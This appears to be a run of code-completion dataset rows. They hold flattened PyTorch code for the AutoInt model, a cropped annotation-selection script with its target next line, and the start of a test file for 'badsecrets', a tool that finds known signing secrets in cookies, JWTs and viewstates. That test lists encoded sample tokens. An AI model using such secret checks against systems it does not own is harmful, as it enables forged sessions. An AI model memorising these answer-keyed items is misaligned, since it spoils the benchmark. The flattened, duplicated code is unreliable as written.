= None, ys: ty.Optional[torch.Tensor] = None, y_std: ty.Optional[float] = None, # for RMSE task: str = None, return_probs: bool = True, return_metric: bool = False, return_loss: bool = False, meta_args: ty.Optional[dict] = None, ): def inference_step(model, x_num, x_cat): # input only X (y inaccessible) """ Inference Process `no_grad` will be applied in `dnn_predict' """ # process input (model-specific) # define your model API start_time = time.time() # define your model API logits = model(x_num, x_cat) used_time = time.time() - start_time return logits, used_time # to custom other inference paradigm # 1. add self.dnn_predict2(...) in abstract class for special training process # 2. (recommended) override self.dnn_predict in abstract class return self.dnn_predict( # uniform training paradigm dnn_predict_func=inference_step, dev_loader=dev_loader, X_num=X_num, X_cat=X_cat, ys=ys, y_std=y_std, task=task, return_probs=return_probs, return_metric=return_metric, return_loss=return_loss, meta_args=meta_args, ) def save(self, output_dir):
# Implementation of "AutoInt: Automatic Feature Interaction Learning via Self-Attentive Neural Networks" # Some differences from a more "conventional" transformer: # - no FFN module, but one linear layer before adding the result of attention # - no bias for numerical embeddings # - no CLS token, the final embedding is formed by concatenation of all the tokens # - n_heads = 2 is recommended in the paper # - d_token is supposed to be small # - the placement of normalizations and activations is different # %% # %% class Tokenizer(nn.Module): category_offsets: ty.Optional[Tensor] def __init__( self, d_numerical: int, categories: ty.Optional[ty.List[int]], n_latent_tokens: int, d_token: int, ) -> None: super().__init__() assert n_latent_tokens == 0 self.n_latent_tokens = n_latent_tokens if d_numerical: self.weight = nn.Parameter(Tensor(d_numerical + n_latent_tokens, d_token)) # The initialization is inspired by nn.Linear nn_init.kaiming_uniform_(self.weight, a=math.sqrt(5)) else: self.weight = None assert categories is not None if categories is None: self.category_offsets = None self.category_embeddings = None else: category_offsets = torch.tensor([0] + categories[:-1]).cumsum(0) self.register_buffer('category_offsets', category_offsets) self.category_embeddings = nn.Embedding(sum(categories), d_token) nn_init.kaiming_uniform_(self.category_embeddings.weight, a=math.sqrt(5)) print(f'{self.category_embeddings.weight.shape}') @property def n_tokens(self) -> int: return (0 if self.weight is None else len(self.weight)) + ( 0 if self.category_offsets is None else len(self.category_offsets) ) def forward(self, x_num: ty.Optional[Tensor], x_cat: ty.Optional[Tensor]) -> Tensor: if x_num is None: return self.category_embeddings(x_cat + self.category_offsets[None]) # type: ignore[code] x_num = torch.cat( [ torch.ones(len(x_num), self.n_latent_tokens, device=x_num.device), x_num, ], dim=1, ) x = self.weight[None] * x_num[:, :, None] # type: ignore[code] if x_cat is not None: x = torch.cat( [x, self.category_embeddings(x_cat + self.category_offsets[None])], # type: ignore[code] dim=1, ) return x class MultiheadAttention(nn.Module): def __init__( self, d: int, n_heads: int, dropout: float, initialization: str ) -> None: if n_heads > 1: assert d % n_heads == 0 assert initialization in ['xavier', 'kaiming'] super().__init__() self.W_q = nn.Linear(d, d) self.W_k = nn.Linear(d, d) self.W_v = nn.Linear(d, d) self.W_out = None self.n_heads = n_heads self.dropout = nn.Dropout(dropout) if dropout else None for m in [self.W_q, self.W_k, self.W_v]: if initialization == 'xavier' and (n_heads > 1 or m is not self.W_v): # gain is needed since W_qkv is represented with 3 separate layers nn_init.xavier_uniform_(m.weight, gain=1 / math.sqrt(2)) nn_init.zeros_(m.bias) if self.W_out is not None: nn_init.zeros_(self.W_out.bias) def _reshape(self, x: Tensor) -> Tensor: batch_size, n_tokens, d = x.shape d_head = d // self.n_heads return ( x.reshape(batch_size, n_tokens, self.n_heads, d_head) .transpose(1, 2) .reshape(batch_size * self.n_heads, n_tokens, d_head) ) def forward( self, x_q: Tensor, x_kv: Tensor, key_compression: ty.Optional[nn.Linear], value_compression: ty.Optional[nn.Linear], ) -> Tensor: q, k, v = self.W_q(x_q), self.W_k(x_kv), self.W_v(x_kv) for tensor in [q, k, v]: assert tensor.shape[-1] % self.n_heads == 0 if key_compression is not None: assert value_compression is not None k = key_compression(k.transpose(1, 2)).transpose(1, 2) v = value_compression(v.transpose(1, 2)).transpose(1, 2) else: assert value_compression is None batch_size = len(q) d_head_key = k.shape[-1] // self.n_heads d_head_value = v.shape[-1] // self.n_heads n_q_tokens = q.shape[1] q = self._reshape(q) k = self._reshape(k) attention = F.softmax(q @ k.transpose(1, 2) / math.sqrt(d_head_key), dim=-1) if self.dropout is not None: attention = self.dropout(attention) x = attention @ self._reshape(v) x = ( x.reshape(batch_size, self.n_heads, n_q_tokens, d_head_value) .transpose(1, 2) .reshape(batch_size, n_q_tokens, self.n_heads * d_head_value) ) if self.W_out is not None: x = self.W_out(x) return x class _AutoInt(nn.Module): def __init__( self, *, d_numerical: int, categories: ty.Optional[ty.List[int]], n_layers: int, d_token: int, n_heads: int, attention_dropout: float, residual_dropout: float, activation: str, prenormalization: bool = False, initialization: str = 'kaiming', kv_compression: ty.Optional[float] = None, kv_compression_sharing: ty.Optional[str] = None, d_out: int, ) -> None: assert not prenormalization assert activation == 'relu' assert (kv_compression is None) ^ (kv_compression_sharing is not None) super().__init__() self.tokenizer = Tokenizer(d_numerical, categories, 0, d_token) n_tokens = self.tokenizer.n_tokens def make_kv_compression(): assert kv_compression compression = nn.Linear( n_tokens, int(n_tokens * kv_compression), bias=False ) if initialization == 'xavier': nn_init.xavier_uniform_(compression.weight) return compression self.shared_kv_compression = ( make_kv_compression() if kv_compression and kv_compression_sharing == 'layerwise' else None ) def make_normalization(): return nn.LayerNorm(d_token) self.layers = nn.ModuleList([]) for layer_idx in range(n_layers): layer = nn.ModuleDict( { 'attention': MultiheadAttention( d_token, n_heads, attention_dropout, initialization ), 'linear': nn.Linear(d_token, d_token, bias=False), } ) if not prenormalization or layer_idx: layer['norm0'] = make_normalization() if kv_compression and self.shared_kv_compression is None: layer['key_compression'] = make_kv_compression() if kv_compression_sharing == 'headwise': layer['value_compression'] = make_kv_compression() else: assert kv_compression_sharing == 'key-value' self.layers.append(layer) self.activation = get_activation_fn(activation) self.prenormalization = prenormalization self.last_normalization = make_normalization() if prenormalization else None self.residual_dropout = residual_dropout self.head = nn.Linear(d_token * n_tokens, d_out) def _get_kv_compressions(self, layer): return ( (self.shared_kv_compression, self.shared_kv_compression) if self.shared_kv_compression is not None else (layer['key_compression'], layer['value_compression']) if 'key_compression' in layer and 'value_compression' in layer else (layer['key_compression'], layer['key_compression']) if 'key_compression' in layer else (None, None) ) def _start_residual(self, x, layer, norm_idx): x_residual = x if self.prenormalization: norm_key = f'norm{norm_idx}' if norm_key in layer: x_residual = layer[norm_key](x_residual) return x_residual def _end_residual(self, x, x_residual, layer, norm_idx): if self.residual_dropout: x_residual = F.dropout(x_residual, self.residual_dropout, self.training) x = x + x_residual if not self.prenormalization: x = layer[f'norm{norm_idx}'](x) return x def forward(self, x_num: ty.Optional[Tensor], x_cat: ty.Optional[Tensor]) -> Tensor: x = self.tokenizer(x_num, x_cat) for layer in self.layers: layer = ty.cast(ty.Dict[str, nn.Module], layer) x_residual = self._start_residual(x, layer, 0) x_residual = layer['attention']( x_residual, x_residual, *self._get_kv_compressions(layer), ) x = layer['linear'](x) x = self._end_residual(x, x_residual, layer, 0) x = self.activation(x) x = x.flatten(1, 2) x = self.head(x) x = x.squeeze(-1) return x # %% class AutoInt(TabModel): def __init__( self, model_config: dict, n_num_features: int, categories: ty.Optional[ty.List[int]], n_labels: int, device: ty.Union[str, torch.device] = 'cuda', ): super().__init__() model_config = self.preproc_config(model_config) self.model = _AutoInt( d_numerical=n_num_features, categories=categories, d_out=n_labels, **model_config ).to(device) self.base_name = 'autoint' self.device = torch.device(device) def preproc_config(self, model_config: dict): # process autoint configs self.saved_model_config = model_config.copy() return model_config def fit( self, # API for specical sampler like curriculum learning train_loader: ty.Optional[ty.Tuple[DataLoader, int]] = None, # (loader, missing_idx) # using normal sampler if is None X_num: ty.Optional[torch.Tensor] = None, X_cat: ty.Optional[torch.Tensor] = None, ys: ty.Optional[torch.Tensor] = None, y_std: ty.Optional[float] = None, # for RMSE eval_set: ty.Tuple[torch.Tensor, np.ndarray] = None, patience: int = 0, task: str = None, training_args: dict = None, meta_args: ty.Optional[dict] = None, ): def train_step(model, x_num, x_cat, y): # input is X and y # process input (model-specific) # define your model API start_time = time.time() # define your model API logits = model(x_num, x_cat) used_time = time.time() - start_time return logits, used_time # to custom other training paradigm # 1. add self.dnn_fit2(...) in abstract class for special training process # 2. (recommended) override self.dnn_fit in abstract class self.dnn_fit( # uniform training paradigm dnn_fit_func=train_step, # training data train_loader=train_loader, X_num=X_num, X_cat=X_cat, ys=ys, y_std=y_std, # dev data eval_set=eval_set, patience=patience, task=task, # args training_args=training_args, meta_args=meta_args, ) def predict( self, dev_loader: ty.Optional[ty.Tuple[DataLoader, int]] = None, # reuse, (loader, missing_idx) X_num: ty.Optional[torch.Tensor] = None, X_cat: ty.Optional[torch.Tensor] = None, ys: ty.Optional[torch.Tensor] = None, y_std: ty.Optional[float] = None, # for RMSE task: str = None, return_probs: bool = True, return_metric: bool = False, return_loss: bool = False, meta_args: ty.Optional[dict] = None, ): def inference_step(model, x_num, x_cat): # input only X (y inaccessible) """ Inference Process `no_grad` will be applied in `dnn_predict' """ # process input (model-specific) # define your model API start_time = time.time() # define your model API logits = model(x_num, x_cat) used_time = time.time() - start_time return logits, used_time # to custom other inference paradigm # 1. add self.dnn_predict2(...) in abstract class for special training process # 2. (recommended) override self.dnn_predict in abstract class return self.dnn_predict( # uniform training paradigm dnn_predict_func=inference_step, dev_loader=dev_loader, X_num=X_num, X_cat=X_cat, ys=ys, y_std=y_std, task=task, return_probs=return_probs, return_metric=return_metric, return_loss=return_loss, meta_args=meta_args, ) def save(self, output_dir):
check_dir(output_dir)
2
2023-10-30 14:55:44+00:00
12k
amazon-science/adaptive-in-context-learning
annotation_methods.py
[ { "identifier": "reliability_plot", "path": "utils.py", "snippet": "def reliability_plot(args, label_map, train_examples, phase=0, bins=10, do_plot=False):\n \"\"\"\n Generate a binned reliability plot.\n\n Parameters\n ----------\n bins (int): Number of bins to perform binned statist...
import random import os import json from utils import reliability_plot, embedding_plot from algorithms import cluster, fast_votek_mod, uncertainty_ranking, votek_mod from algorithms import density_max_coverage
7,236
def selective_annotation_single_phase(args,**kwargs): """ Single-step annotation methods: random, fast-votek, votek, hardest, adaicl-base Args: args Returns: list: selected data points for annotation """ random.seed(args.seed) init_size = args.init_size print("init: ", args.init) print("init size: ", args.init_size) ### Initial annotated pool $L_0$ (random, clustering, or none) if args.init == 'random': init_ind = random.sample(range(len(kwargs['train_examples'])),init_size) pool_idx = list(range(len(kwargs['embeddings']))) for i in init_ind: pool_idx.remove(i) #naive clustering -- assign cluster centroids on random points cur_examples = [kwargs["train_examples"][idx] for idx in init_ind] _, clustering_model = cluster(embeddings=kwargs['embeddings'][init_ind],select_num=init_size, examples=cur_examples, thres=False, reverse=False) elif args.init == 'none': init_ind = [] pool_idx = list(range(len(kwargs['embeddings']))) elif args.init == 'cluster': init_ind, clustering_model = cluster(embeddings=kwargs['embeddings'], examples = kwargs['train_examples'],select_num=init_size, thres=False, seed=args.seed) pool_idx = list(range(len(kwargs['embeddings']))) for i in init_ind: pool_idx.remove(i) print("Initial idxs: ",init_ind ) if args.selective_annotation_method=='random': phase = 0 selected_indices = random.sample(pool_idx,args.annotation_size) for i in selected_indices: pool_idx.remove(i) selected_indices += init_ind.copy() elif args.selective_annotation_method=='all': train_examples = kwargs['train_examples'] selected_indices = range(len(train_examples)) elif args.selective_annotation_method=='fast_votek': phase = 0 selected_indices = fast_votek_mod(embeddings=kwargs['embeddings'], selected_indices=init_ind, select_num=args.annotation_size,k=150, vote_file=os.path.join(args.output_dir,'nearest_neighbors.json')) for i in selected_indices: pool_idx.remove(i) selected_indices += init_ind.copy() elif args.selective_annotation_method=='votek': phase = 1 selected_indices = init_ind.copy()
def selective_annotation_single_phase(args,**kwargs): """ Single-step annotation methods: random, fast-votek, votek, hardest, adaicl-base Args: args Returns: list: selected data points for annotation """ random.seed(args.seed) init_size = args.init_size print("init: ", args.init) print("init size: ", args.init_size) ### Initial annotated pool $L_0$ (random, clustering, or none) if args.init == 'random': init_ind = random.sample(range(len(kwargs['train_examples'])),init_size) pool_idx = list(range(len(kwargs['embeddings']))) for i in init_ind: pool_idx.remove(i) #naive clustering -- assign cluster centroids on random points cur_examples = [kwargs["train_examples"][idx] for idx in init_ind] _, clustering_model = cluster(embeddings=kwargs['embeddings'][init_ind],select_num=init_size, examples=cur_examples, thres=False, reverse=False) elif args.init == 'none': init_ind = [] pool_idx = list(range(len(kwargs['embeddings']))) elif args.init == 'cluster': init_ind, clustering_model = cluster(embeddings=kwargs['embeddings'], examples = kwargs['train_examples'],select_num=init_size, thres=False, seed=args.seed) pool_idx = list(range(len(kwargs['embeddings']))) for i in init_ind: pool_idx.remove(i) print("Initial idxs: ",init_ind ) if args.selective_annotation_method=='random': phase = 0 selected_indices = random.sample(pool_idx,args.annotation_size) for i in selected_indices: pool_idx.remove(i) selected_indices += init_ind.copy() elif args.selective_annotation_method=='all': train_examples = kwargs['train_examples'] selected_indices = range(len(train_examples)) elif args.selective_annotation_method=='fast_votek': phase = 0 selected_indices = fast_votek_mod(embeddings=kwargs['embeddings'], selected_indices=init_ind, select_num=args.annotation_size,k=150, vote_file=os.path.join(args.output_dir,'nearest_neighbors.json')) for i in selected_indices: pool_idx.remove(i) selected_indices += init_ind.copy() elif args.selective_annotation_method=='votek': phase = 1 selected_indices = init_ind.copy()
selected_indices_new = votek_mod(init_ind,
5
2023-10-30 16:34:21+00:00
12k
TopGuru777/badsecrets
tests/all_modules_test.py
[ { "identifier": "check_all_modules", "path": "badsecrets/base.py", "snippet": "def check_all_modules(*args, **kwargs):\n for m in BadsecretsBase.__subclasses__():\n x = m(custom_resource=kwargs.get(\"custom_resource\", None))\n r = x.check_secret(*args[0 : x.check_secret_args])\n ...
import requests import requests_mock from badsecrets.base import check_all_modules, carve_all_modules
9,990
tests = [ "yJrdyJV6tkmHLII2uDq1Sl509UeDg9xGI4u3tb6dm9BQS4wD08KTkyXKST4PeQs00giqSA==", "eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA", "vpwClvnLODIx9te2vO%2F4e06KzbKkjtwmNnMx09D1Dmau0dPliYzgpqB9MnEqhPNe3fWemQyH25eLULJi8KiYHXeHvjfS1TZAL2o5Gku1gJbLuqusRXZQYTNlU2Aq4twXO0o0CgVUTfknU89iw0ceyaKjSteOhxGvaE3VEDfiKDd8%2B9j9vD3qso0mLMqn%2Btxirc%2FkIq5oBbzOCgMrJjkaPMa2SJpc5QI2amffBJ%2BsAN25VH%2BwabEJXrjRy%2B8NlYCoUQQKrI%2BEzRSdBsiMOxQTD4vz2TCjSKrK5JEeFMTyE7J39MhXFG38Bq%2FZMDO%2FETHHdsBtTTkqzJ2odVArcOzrce3Kt2%2FqgTUPW%2BCjFtkSNmh%2FzlB9BhbxB1kJt1NkNsjywvP9j7PvNoOBJsa8OwpEyrPTT3Gm%2BfhDwtjvwpvN7l7oIfbcERGExAFrAMENOOt4WGlYhF%2F8c9NcDv0Bv3YJrJoGq0rRurXSh9kcwum9nB%2FGWcjPikqTDm6p3Z48hEnQCVuJNkwJwIKEsYxJqCL95IEdX3PzR81zf36uXPlEa3YdeAgM1RD8YGlwlIXnrLhvMbRvQW0W9eoPzE%2FjP68JGUIZc1TwTQusIWjnuVubFTEUMDLfDNk12tMwM9mfnwT8lWFTMjv9pF70W5OtO7gVN%2BOmCxqAuQmScRVExNds%2FF%2FPli4oxRKfgI7FhAaC%2Fu1DopZ6vvBdUq1pBQE66fQ9SnxRTmIClCpULUhNO90ULTpUi9ga2UtBCTzI8z6Sb6qyQ52NopNZMFdrn9orzdP8oqFeyYpF%2BQEtbp%2F5AMENkFkWUxHZn8NoSlO8P6G6ubSyDdY4QJPaFS4FxNhhm85WlZC9xfEZ1AGSSBOu9JJVYiKxXnL1yYLqrlWp5mfBHZeUBwEa%2FMjGxZEVYDhXo4PiU0jxN7fYmjaobp3DSgA5H3BcFuNG5d8CUnOlQcEie5b%2BUHOpI9zAk7qcuEUXbaZ5Mvh0t2jXCRALRKYDyBdbHlWAFo10dTIM6L3aSTM5uEz9%2FalXLXoWlMo7dTDpuO5bBfTq7YkoPExL3g3JJX47UhuLq85i3%2Bzxfvd7r%2Fmid69kbD3PnX%2Bj0QxaiShhyOZg6jl1HMeRRXvZap3FPCIfxbCf7j2TRqB5gYefBIIdGYjrdiL6HS8SbjXcROMwh2Fxnt505X4jmkmDcGmneU3z%2B84TSSFewcSpxGEGvHVkkU4OaT6vyFwsxCmdrR187tQZ7gn3ZkAiTps%2FfOPcL5QWXja06Z%2FHT3zboq6Hj9v9NBHzpC1eAK0YN8r4V2UMI3P0%2FsIPQYXhovoeLjJwq6snKZTX37ulE1mbS1uOY%2BZrvFYbLN5DdNL%2B%2Bl%2F%2BcWIpc0RSYBLo19xHpKeoeLjU2sxaYzK%2B92D4zKANdPPvsHPqJD1Y%2FBwCL%2FfZKaJfRK9Bj09ez1Z1ixTEKjIRCwuxijnJGq33faZchbwpMPpTfv43jEriGwXwoqOo9Mbj9ggPAil7O81XZxNT4vv4RoxXTN93V100rt3ClXauL%2BlNID%2BseN2CEZZqnygpTDf2an%2FVsmJGJJcc0goW3l43mhx2U79zeuT94cFPGpvITEbMtjmuNsUbOBuw6nqm5rAs%2FxjIsDRqfQxGQWfS0kuwuU6RRmiME2Ps0NrBENIbZzcbgw6%2BRIwClWkvEG%2BK%2FPdcAdfmRkAPWUNadxnhjeU2jNnzI1yYNIOhziUBPxgFEcAT45E7rWvf8ghT08HZvphzytPmD%2FxuvJaDdRgb6a30TjSpa7i%2BEHkIMxM5eH1kiwhN6xkTcBsJ87epGdFRWKhTGKYwCbaYid1nRs7%2BvQEU7MRYghok8KMTueELipohm3otuKo8V4a7w4TgTSBvPE%2BLPLJRwhM8KcjGlcpzF1NowRo6zeJJhbdPpouUH2NJzDcp7P4uUuUB9Cxt9B986My6zDnz1eyBvRMzj7TABfmfPFPoY3RfzBUzDm%2FA9lOGsM6d9WZj2CH0WxqiLDGmP1Ts9DWX%2FsYyqEGK5R1Xpnp7kRIarPtYliecp50ZIH6nqSkoCBllMCCE6JN%2BdoXobTpulALdmQV0%2Bppv%2FAjzIJrTHgX7jwRGEAeRgAxTomtemmIaH5NtV7xt8XS%2BqwghdJl1D06%2FWhpMtJ1%2FoQGoJ0%2F7ChYyefyAfsiQNWsO66UNVyl71RVPwATnbRO5K5mtxn0M2wuXXpAARNh6pQTcVX%2FTJ4jmosyKwhI6I870NEOsSaWlKVyOdb97C3Bt0pvzq8BagV5FMsNtJKmqIIM0HRkMkalIyfow9iS%2B5xGN5eKM8NE4E6hO4CvmpG%2BH2xFHTSNzloV0FjLdDmj5UfMjhUuEb3rkKK1bGAVaaherp6Ai6N4YJQzh%2FDdpo6al95EZN2OYolzxitgDgsWVGhMvddyQTwnRqRY04hdVJTwdhi4TiCPbLJ1Wcty2ozy6VDs4w77EOAQ5JnxUmDVPA3vXmADJZR0hIJEsuxXfYg%2BRIdV4fzGunV4%2B9jpiyM9G11iiesURK82o%2BdcG7FaCkkun2K2bvD6qGcL61uhoxNeLVpAxjrRjaEBrXsexZ9rExpMlFD8e3NM%2B0K0LQJvdEvpWYS5UTG9cAbNAzBs%3DpDsPXFGf2lEMcyGaK1ouARHUfqU0fzkeVwjXU9ORI%2Fs%3D", "qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABRhZGwcBykRPNQv++kTK0KePPqVVGgAAAAFAFNkYXRhXHicHYc7DkBQAATnIUqVa3jxLRzApxJBrxA18bmdw1l2k9nZG/Bcxxjt4/An3NnYOVlZOMRL7ld0NAQ9IzUTMy0DeUpMqkYkso+ZGFNiKbRW//Pyb0Guzwtozw4Q", ".eJxVjLsOAiEURP-F2hAuL8HSfr-BAPciq4ZNlt3K-O9KsoU2U8w5My8W4r7VsHdaw4zswoCdfrsU84PaAHiP7bbwvLRtnRMfCj9o59OC9Lwe7t9Bjb2OtbMkAEGQtQjekykmJy9JZIW-6CgUaCGsA6eSyV65s1Qya_xGKZrY-wPVYjdw:1ojOrE:bfOktjgLlUykwCIRIpvaTZRQMM3-UypscEN57ECtXis", "dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRkM4YXBFWXBWLS15L00xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841", "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo", "owOnMokk%2F4N7IMo6gznRP56OYIT34dZ1Bh0KBbXlFgztgiNNEBYrgWRYDBkDlX8BIFYBcBztC3NMwoT%2FtNF%2Ff2nCsA37ORIgfBem1foENqumZvmcTpQuoiXXbMWW8oDjs270y6LDAmHhCRsl4Itox4NSBwDgMIOsoMhNrMigV7o7jlgU16L3ezISSmVqFektKmu9qATIXme63u4IKk9UL%2BGP%2Fk3NPv9MsTEVH1wMEf4MApH5KfWBX96TRIc9nlp3IE5BEWNMvI1Gd%2BWXbY5cSY%2Buey2mXQ%2BAFuXAernruJDm%2BxK8ZZ09TNsn5UREutvNtFRrePA8tz3r7p14yG756E0vrU7uBz5TQlTPNUeN3shdxlMK5Qzw1EqxRZmjhaRpMN0YZgmjIpzFgrTnT0%2Bo0f6keaL8Z9TY8vJN8%2BEUPoq%2F7AJiHKm1C8GNc3woVzs5mJKZxMUP398HwGTDv9KSwwkSpHeXFsZofbaWyG0WuNldHNzM%2FgyWMsnGxY6S086%2F477xEQkWdWG5UE%2FowesockebyTTEn3%2B%2FqiVy%2FIOxXvMpvrLel5nVY%2FSouHp5n2URRyRsfo%2B%2BOXJZo7yxKQoYBSSkmxdehJqKJmbgxNp5Ew8m89xAS5g99Hzzg382%2BxFp8yoDVZMOiTEuw0J%2B4G6KizqRW9cis%2FELd0aDE1V7TUuJnFrX%2BlCLOiv100tKpeJ0ePMOYrmvSn0wx7JhswNuj%2BgdKqvCnMSLakGWiOHxu5m9Qqdm3s5sk7nsaxMkh8IqV%2BSzB9A2K1kYEUlY40II1Wun67OSdLlYfdCFQk4ED0N%2BV4kES%2F1xpGiaPhxjboFiiV%2BkvCyJfkuotYuN%2B42CqFyAyepXPA%2BR5jVSThT6OIN2n1UahUnrD%2BwKKGMA9QpVPTSiGLen2KSnJtXISbrl2%2BA2AnQNH%2BMEwYVNjseM0%2BAosbgVfNde2ukMyugo%2FRfrRM27cbdVlE0ms0uXhlgKAYJ2ZN54w1tPWhpGxvZtB0keWpZan0YPh8CBgzsAIMa04HMYLCtgUTqxKqANoKXSy7VIJUzg3fl%2F2WUELjpXK9gRcgexNWDNB1E0rHd9PUo0PvpB4fxSrRpb1LRryipqsuoJ8mrpOVrVMvjracBvtoykK3GrN%2FDUlXkSG%2FAeBQN7HwDJ9QPi3AtEOohp78Op3nmbItXo7IJUSjzBNzUYR8YPj6Ud7Fje9LZSwMBngvgx%2BOKy6HsV4ofOAU2%2FK1%2BfxI0KkCeoSso9NJHWgBD7ijfXUa1Hrc%2FuNU3mTlSSVp3VStQrJbQCkr4paaHYWeeO4pRZCDSBNUzs9qq3TDePwpEQc4QROrw5htdniRk26lFIFm%2Fzk2nC77Pg%2BrkRC1W%2BlRv0lyXsmXVBCe8F1szpWXHCxHNAJwKH%2FBb%2BV1k6AXFXVWPW5vADbXUvRu0s6KLaqu6a0KCB7dt3K2Ni%2FI6O%2FmISYXzknbMrwwakNfajbRF2ibodgR9R9xvoCoCXa3ka7%2Fejr%2BmsZ2HvPKUAffd2fNIWCQrejfpuIoOWiYx6ufN8E41HetCbYfvsI6JQfPOEdOYWI2px%2BLdfO3Nybq99%2BRSQOhjNZakBP54ozlCUfwgpLOmTBwsswZexv1RK5MIi8%2FWtjlJ%2FKjkYxdkFUlwggGS2xDwzcyl2%2FakNCQ5YmxjU8cRY7jZQRMo%2F8uTw5qa2MNZPaQGI18uRgr0i%2FTX3t57fJYCpMLXSaUKIdO7O%2FCQhIyGTS6KrPN%2B3%2FgUb%2BPQ1viGhpnWfGEYF9vhIlK57z8G8G82UQ3DpttD7M8mQ0KsmCOq75ECx9CWrWGk51vADlm%2BLEZ5oWjVMs%2FThki40B7tL7gzFrBuQksWXYeubMzZfFo4ZQ49di4wupHG5kRsyL2fJUzgpaLDP%2BSe6%2FjCnc52C7lZ3Ls0cHJVf9HRwDNXWM%2B4h8donNy5637QWK%2BV7mlH%2FL4xBZCfU9l6sIz%2FWHMtRaQprEem6a%2FRwPRDBiP65I2EwZLKGY8I%2F1uXJncwC8egLu82JY9maweI0VmJSmRcTf0evxqqe7vc9MqpsUlpSVNh4bFnxVIo5E4PGX70kVaTFe0vu1YdGKmFX5PLvkmWIf%2FnwfgPMqYsa0%2F09trboJ5LGDEQRXSBb7ldG%2FwLdOiqocYKAb91SMpn1fXVPBgkPM27QZxHnSAmWVbJR2%2FIhO%2BIVNzkgFAJlptiEPPPTxuBh%2BTT7CaIQE3oZbbJeQKvRkrt4bawTCOzciU%2F1zFGxubTJTSyInjQ8%2F1tVo7KjnxPKqGSfwZQN%2FeWL6R%2FpvCb%2BE6D4pdyczoJRUWsSNXNnA7QrdjgGNWhyOMiKvkDf3RD4mrXbul18WYVTsLyp0hvQsbdwBWOh7VlwfrWdy%2BklsttFi%2B%2BadKR7DbwjLTcxvdNpTx1WJhXROR8jwW26VEYSXPVqWnYvfyZo4DojKHMSDMbAakbuSJdkGP1d5w0AYbKlAcVQOqp9hbAvfwwLy4ErdIsOg0YEeCcnQVRAXwaCI9JvWWmM%2FzYJzE3X45A6lU9Pe7TAbft810MYh7lmV6Keb5HI6qXFiD%2B8khBZqi%2FsK6485k0a86aWLxOb4Eqnoc41x%2BYPv5CWfvP6cebsENo%3D%2BIUg0f64C4y77N4FZ6C82m5wMpvDQIHqx0ZFIHLhwMg%3D", "8H61sylBH/Ad3thZCGDVLyaso2g499GnjAuqpNapesoJgoo5Zk3nxDqXoWfRDwzmKk6eDLTyWViTRTdnr8Su7+XzW6MMAcZo+Fa7UwdfE4pKJ2+z6OYK58l+/93LHZmgVUF5dqI3G8mLr3uI", "H4sIAAAAAAAAAAG4BEf7SqmRq5Y9DfCIR9QLZ9wfMXuwWMtbz4CYqd0%2FCCMNXbRgEOJmkCbpKBJXQ%2BAz78OO%2FufCpa1k1nqcEgNxRzRnKKNVBBPMov%2FE%2BXFqh%2Bb5KZLhJvXicwGSIuVshN1XYpSRzKrosUB0ykN8j9hA90IA5AulHsXIofHj07FlFC%2BTbQqVZ7jKeHDurUkVhf8WQ1up%2BVO9KZwQU6WZzsF5y6AkidThF411avCLTxGAtIC7uZBnzMLL4duUf7YtdIDHt4UWGsXCI7ItciWv4Dzk9w5bKeWRRLp1W1pbniEQY01lTulTZBYPuLtna6pB0I3EJ5bV4c3Gktdd1YAVQcBQ2Yy5TW92YEclM99vW9mwu6xD8ZRYJNIb622TjjFMvmR4u4sNh%2BdgL5MlagVpvQjIxUmP7TzelScfku0PrKnKve2zzG6m8czF2WgbQcSLk%2B6TJAijmezo0byTzBsc0FbiI16jm7OBn%2Bi4xCBJQ0AHtu%2Bj2kUE3SUp3wnwgvCR9EnQIw%2F8p2PIp1h6FG6QOIKamihDeY9r5RCW7yLds5vwmUgT9mPTfN%2B%2Fjpzp4U4axfZv5yrVyMSpsuDEhj0H0CjYQMssn%2BsXMYOJGLqv%2FF0SrGrtcAGYv12%2B17PybzbqrXGe8xYR%2B9wHaKX3CD5Ak3IE0CiILhEIZrDICPTifm8%2FygUDztVZmHwpM6HBpF2inkGbaX6Fa8BOrMJaEqZWAualYYBth37jWyqCKV01TWFfHtS7y7kvkWOPwYYORzx9IKO5yyFrftg4hCH7f5vtHsMoyP8CcWPh9c82O70CIlscfLURWeoAyXv1FYtgC6pBLVlgdHEjMzjKvK7DRtJliNPl0VGazg5jTAYHtuwdc23jIjwBfG0MXpPjkw%2BVR179clfwK4t1VfJTJF8F02EXZXaZzCA7cH%2B%2B3bQaXOpvZBTFGdD9JnwRp2vEhy8%2BWMXhd7C%2BcmliOvraOoK%2Fksa9PNarTZJTTJuZupvYwBWhx%2F2vVDEdCM81Z7bFgb0wGd9ViHIOz0MH8v%2FIgn6qd2ojjnkJ29MfSfhtRi%2BXAvmgFXoIhlIBXBwapozxsKcDXOc5JRWpK%2F7y4naW7Fuogp1oU1fHXOXnQh8FAsjgyqn3J0acyY7FDKtkAjxDTMThh1GrA4dLvvLjPx%2FKUMeCQSZ1Y01X%2BNVRbxXBLGLkDbcBHNmkTTaxbsctSBBMSyOYQfG5W9%2Bhw9D2AFSWwFAuz%2BCDvsPSze0CYDoG9lbuYnW2wseNiKYItaSQhUbnq3SGVcjy1JouogVK63TDGTwE8Cy3UoNrAz%2FzV7AaoVjytyuMBqOTYBS%2BSLif1R2qqeut0ID%2BCudcjrKJvcP1J8rHV%2F5h2lRNj7tW0wVQS4XtqpnPy90BhF%2BgcfCy7FtRJbH8i5HAl5FY1OpZQ68ig12imShpNI%2FgHuO2q3n5%2FVUFia7fwHqkkuZBRZHreEvEyPlUpgwJhpCBS3F8b1ViO2G5zsT